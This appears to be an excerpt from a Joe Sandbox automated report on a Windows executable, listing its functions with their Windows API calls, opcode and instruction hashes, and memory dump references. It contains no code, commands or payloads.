Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction ID: 561ed2f99fcd8f3c69216c61aae9e950b585f3ecd418fa9455324ea25216acba
Opcode Fuzzy Hash: d6ec45678292224ccfbfce22950c847036d7a08cdbcb07fa7d0387c0f9533a57
Instruction Fuzzy Hash: 8221A731900209EBDF20AF65CE48A9E7E71BF00354F20427BF510B51E1CBBD8A81DA5D

Function 0040249E Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000468,00000000,00000022,00000000,?,?), ref: 00402CF1

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 004024CD
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 004024E0
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nscAF7B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction ID: caa0a88e983a87845293d3a09aded013c5498a2120ee6ea3f3930af667db2d56
Opcode Fuzzy Hash: 42b2dd53c8b5802947a3dab0b58a0a50b760338acaf8adbf9a4fd88f57d55a7c
Instruction Fuzzy Hash: 9FF08171A00204ABEB209F65DE8CABF767CEF80354B10803FF405B61D0DAB84D419B69

Function 100028A4 Relevance: 3.2, APIs: 2, Instructions: 156COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 0040242A Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402CC9: RegOpenKeyExW.KERNELBASE(00000000,00000468,00000000,00000022,00000000,?,?), ref: 00402CF1

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 0040245B
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nscAF7B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction ID: 28617f4b1a8802b5017de0243b5a45cf97da40b04a50325282b533cdbf166070
Opcode Fuzzy Hash: 684252ed4cb5f75002efccf4c3d89688e5a32529c12b8521bce5fdd085325f04
Instruction Fuzzy Hash: 64115E31911205EBDB14CFA4DA489AEB7B4EF44354B20843FE446B72D0DAB89A41EB59

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction ID: cd3aabbb77ee63ed71f9921c47df44d3aa6e588553b0b950a072bc92d791a3e5
Opcode Fuzzy Hash: 71800ff5d752955c4261f1e4e44e66a702dae3e8c0882f1cfb99089304b670a7
Instruction Fuzzy Hash: 2101F4316202209FE7095B389D05B6A3698E710319F10863FF851F62F1DA78DC428B4C

Function 0040642B Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
GetProcAddress.KERNEL32(00000000,?), ref: 00406458

Part of subcall function 004063BF: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
Part of subcall function 004063BF: wsprintfW.USER32 ref: 00406411
Part of subcall function 004063BF: LoadLibraryW.KERNELBASE(?), ref: 00406421

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction ID: 5d7b52194fecd52e31197542c52f699420a2dcfb6f4997f05ddeecd74f4f3bdc
Opcode Fuzzy Hash: f58656703257d3684848e4558ce263f5efe09ac277fa21959b5ddbdc7fcd416a
Instruction Fuzzy Hash: 70E0863660422066D61057705E44D3763AC9E94704306043EFA46F2041DB78DC32AA6E

Function 00405C2A Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\ppISxhDcpF.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405700 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403293,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405706
GetLastError.KERNEL32 ref: 00405714

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: 3f205c5890689a668e8791f8cf6ed098ce3dcc56284ebb1818e0a19aeae2b5ff
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: DBC04C30225602DADA106F34DE087177951AB90741F1184396146E61A0DA348415E93D

Function 00402786 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,?,00000000,00000002,?,?), ref: 004027A0

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FilePointerwsprintf
String ID:
API String ID: 327478801-0
Opcode ID: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction ID: c5c3fa32fc6d0159c61c67e46e8878479b4609e7a69e49ca0ebb3ecbbe822ed2
Opcode Fuzzy Hash: 625ba8c0adf551b09f916d27f71fdaae1f0ecd84ce04db3249cbe24fae782c82
Instruction Fuzzy Hash: A0E04F71702514EFDB01AFA59E4ACAFBB6AEB40328B14443BF501F00E1DA7D8C019A2D

Function 0040229D Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

WritePrivateProfileStringW.KERNEL32(00000000,00000000,?,00000000), ref: 004022D4

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID:
API String ID: 390214022-0
Opcode ID: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction ID: 9c0f32427e9d9ad9a827debec1b0d32512713181f08a0e22f3c826aa7fb996c6
Opcode Fuzzy Hash: 60b22f5a932472850941fcf3cf4ac9c96d80a2104eac916f2d4d26c3cfc5b4d4
Instruction Fuzzy Hash: 90E04F319001246ADB113EF10E8ED7F31695B40314B1405BFB551B66C6D9FC0D4246A9

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000468,00000000,00000022,00000000,?,?), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction ID: 180cb462b76767e938a43b2c67eaf1f9418a6812eb156052446fd1a81c43fca4
Opcode Fuzzy Hash: e61a0d233959cf951fd8dee32620159f1f5f2b0e63671ee31e14641033e06cac
Instruction Fuzzy Hash: 54E0BF76154108AFDB00DFA5EE46EA977ECAB44704F044025BA09E7191C674E5509768

Function 00405CDC Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,?,?,00000000,000000FF,?,0040320B,00000000,00416A20,000000FF,00416A20,000000FF,000000FF,?,00000000), ref: 00405CF0

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: d2761c75b63c3b5a1b4cb2cfb4b6a55fbed1fd27b7f8bdfe76624f6b99830631
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: 2AE0EC3221425AABDF109E55EC08FEB7B6CEF05360F049437FA55E7190D631E921DBA4

Function 00405CAD Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,?,?,00000000,000000FF,?,00403255,00000000,00000000,00403079,000000FF,?,00000000,00000000,00000000), ref: 00405CC1

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction ID: 881bd9ca443264ea0180802fa9c86a3c9bfb0e6b132b989af4612487e9445b73
Opcode Fuzzy Hash: adecdcd9fe1336769933b3dd03e703e4ef1681debcb31beef277c9a18cd5915e
Instruction Fuzzy Hash: D1E08632104259ABDF105E518C00AEB376CFB04361F104432F911E3140D630E8119FB4

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,?,?,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,?), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction ID: 4fb9e9dd77d4d4fa14caa6284e3e33111a790732df8c0ecbc47c365062d5febc
Opcode Fuzzy Hash: 9f81f92dad3f7a811467f01a8cf18fc77b7af2f5e37f886534bc513ef1489464
Instruction Fuzzy Hash: 4BD05E33B04100DBCB10DFE8AE08ADD77B5AB80338B248177E601F21E4D6B8C650AB1D

Function 0040414E Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000001,00403F7A), ref: 0040415C

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction ID: f9280d834dafdcf82d79e279d22eccff0cbc279b2038abc2a2984d0c0ecbec1f
Opcode Fuzzy Hash: 3e4e113e80d15ce5a74be4961f661226ffae6a612218aa542e548efe3475e5a4
Instruction Fuzzy Hash: E3B01235180A00BBDE114B00EE09F857E62F7EC701F018438B340240F0CBB200A0DB08

Function 00403258 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,00000000,0040353A,?), ref: 00403266

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction ID: 2811e774c662cae59278f25d6ecae3b2a92cb5be3fe339fd2c15133e28e6e099
Opcode Fuzzy Hash: 80da3fb7de925908d89dc6e0e66abe912019b1009effaac14551dbb45b1ebe3e
Instruction Fuzzy Hash: D0B01231140300BFDA214F00DF09F057B21AB90700F10C034B344380F086711035EB4D

Non-executed Functions

Function 004052F3 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405351
GetDlgItem.USER32(?,000003EE), ref: 00405360
GetClientRect.USER32(?,?), ref: 0040539D
GetSystemMetrics.USER32(00000002), ref: 004053A4
SendMessageW.USER32(?,00001061,00000000,?), ref: 004053C5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004053D6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004053E9
